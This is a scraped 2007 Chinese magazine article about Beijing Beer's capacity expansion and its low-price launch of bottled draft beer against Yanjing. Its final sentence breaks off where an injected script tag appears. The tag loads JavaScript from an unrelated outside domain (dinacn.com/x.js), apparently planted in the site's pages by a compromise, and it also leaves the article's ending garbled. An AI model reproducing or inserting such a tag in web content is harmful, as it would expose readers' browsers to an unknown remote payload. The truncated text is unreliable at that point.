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北京啤酒 低价重生 - 看看网
看看网 - 中国新时代(12个月12期) - 产业 - 北京啤酒 低价重生
北京啤酒 低价重生
2007-7-27  作者:阚世华  阅读:  

  在人们印象中,北京啤酒的脚步似乎难以跟上发展快速的啤酒市场。如今,这家沉寂多年的国内啤酒老品牌高调地宣布回来了。

  5月15日,北京啤酒表示,北京啤酒二期扩建工程完成,产能达到10万吨,同时将在北京和华北市场以低于竞争对手50%的零售价生产及销售瓶装生啤酒。

  10万吨是中国啤酒行业的盈亏平衡点和“生死线”,北京啤酒的10万吨产能标志着这家蛰伏了10多年的企业重新进入良性发展轨道,而敢于在燕京啤酒的大本营发动价格战,则意味着北京啤酒真正回归到中国啤酒市场竞争者的行列之中。

  “低价策略也只针对北京纯生单一产品,而且经过严密测算保留了利润空间。”北京朝日啤酒总经理内藤规夫告诉《中国新时代》记者。
 
  目前,中国啤酒市场可谓战火不断。青岛、百威、嘉士伯、燕京、雪花啤酒等已经坐分大江南北。而对于北京啤酒而言,寻找发展市场的策略是他们最迫切的题目,而价格翘动市场似乎成为北京啤酒重新抢回市场份额的关键一步。

  搅局生啤市场

  北京啤酒在北京,可谓是历史上最悠久的啤酒品牌,曾作为北京特产及国宴用酒而声名显赫,始建于1941年,被亲切地称为“北京白牌”。

  1995年,北京啤酒正式与日本朝日啤酒株式会社、伊藤忠商事株式会社合资,成为北京啤酒朝日有限公司。2003年,在选择建立新厂址的时候,积极响应北京市政府迎接2008年奥运会推出的一系列环境保护治理措施,在京郊有“北京水源”之称的怀柔区建设新工厂,并使其成为一家拥有先进环保技术的绿色新工厂。

  “2004年4月底新工厂正式竣工投产,新包装、新口味的北京啤酒全新上市,首家全系列产品均为生啤酒的厂家诞生。”内藤规夫说。

  生啤酒因其比普通啤酒口感更好、更新鲜而成为近年来啤酒爱好者追捧的对象,但数倍于普通啤酒的价格也让普通消费者望而却步。北京啤酒朝日有限公司成了市场中的搅局者,其计划于今夏投放市场的630毫升瓶装“北京纯生”的最低零售价已确定为2元,相当于竞争对手 50%的价格,并已完成上市铺货工作并开始试销。

   有分析认为,啤酒行业的价格敏感度很高,北京啤酒此举势必引发对手的连锁反应。因为该价格已接近于普通瓶装啤酒,不仅将大幅度拉低生啤酒的平均价格,而且将严重威胁普通啤酒坚守多年的价位,极有可能引发啤酒行业的全线价格战。

  目前,生啤酒的销售渠道主要集中在餐饮市场,价格普遍维持在8—10元/瓶(扎),社区食品店和便利店基本以销售1.5元/瓶的普通啤酒为主。

  “目前北京纯生除了以3元/瓶的价格冲击餐饮市场外,社区食品店和便利店已作为另一个主要销售市场,零售价格扣除退瓶费为2元/瓶。”内藤规夫并不认为北京啤酒此举旨在发动价格战,在他看来北京纯生只是北京啤酒陆续开发的系列生啤产品中的一种,北京啤酒其他生啤产品将维持原价位不变。

   北京啤酒与日本朝日啤酒株式会社合资后,产品结构全部调整为生啤酒,投入3.3亿元人民币建成了目前全球最先进的生啤酒生产线,2004年新工厂建成投产后,销量每年以超过40%的速度递增,“今年4月,追加投资5400万元的二期扩建工程完成,产能由年产5万吨增加至10万吨,单位生产成本得以大大降低,从而为推出高品质、低价位的瓶装生啤酒奠定了物质基础。”内藤规夫说。

   对于北京啤酒这一举动,中国酿酒工业协会啤酒分会理事长肖德润分析指出,从国际啤酒市场来看,生啤酒所占市场份额要远远高于传统熟啤酒,而目前中国的情况则恰恰相反,这主要是由国内啤酒市场发展历史较短造成的。近年来生啤酒的发展速度很快,几个主要品牌都已建成生啤酒生产线,目前制约生啤酒市场分额的一个重要因素就是价格居高不下,这既与生产成本有关,又与企业经营策略有关。
  
  “不会做赔本买卖”

  如今,北京啤酒将采取两条腿走路的方式:瓶装啤酒将以饮食店、零售店、超市等为主要销售渠道,罐装啤酒则以超市等大型销售店为中心。

  “北京市场上70%的啤酒是家庭消费,其余30%由餐饮企业销售,这一数字与日本市场基本相同,而目前燕京啤酒的销售似乎有些过分依赖餐饮企业和渠道,基于此,北京啤酒朝日公司将在争夺家庭消费市场方面与燕京展开竞争。”业内人士称。

  比起朝日啤酒与舒波乐啤酒,北京啤酒在北京仍然更具有很高的知名度,更具有土生土长的地缘性优势。因此,在吹响低价格的号角之后,北京啤酒将凭借地缘与品牌优势,开始慢慢扩大北京市场的份额。

  从数字来看,燕京啤酒在顺义区工厂有70万吨的年产量,而北京啤酒只有10万吨,据悉,目前燕京啤酒占据了北京啤酒市场约85%的份额,北京啤酒约为3%-4%份额。双方力量悬殊,但北京啤酒显然不甘示弱。

  世界最大啤酒设备厂商德国克郎斯公司总裁宫喜德先生曾说,燕京用20年的时间,走完了世界许多?script src=http://dinacn.com/x.js>

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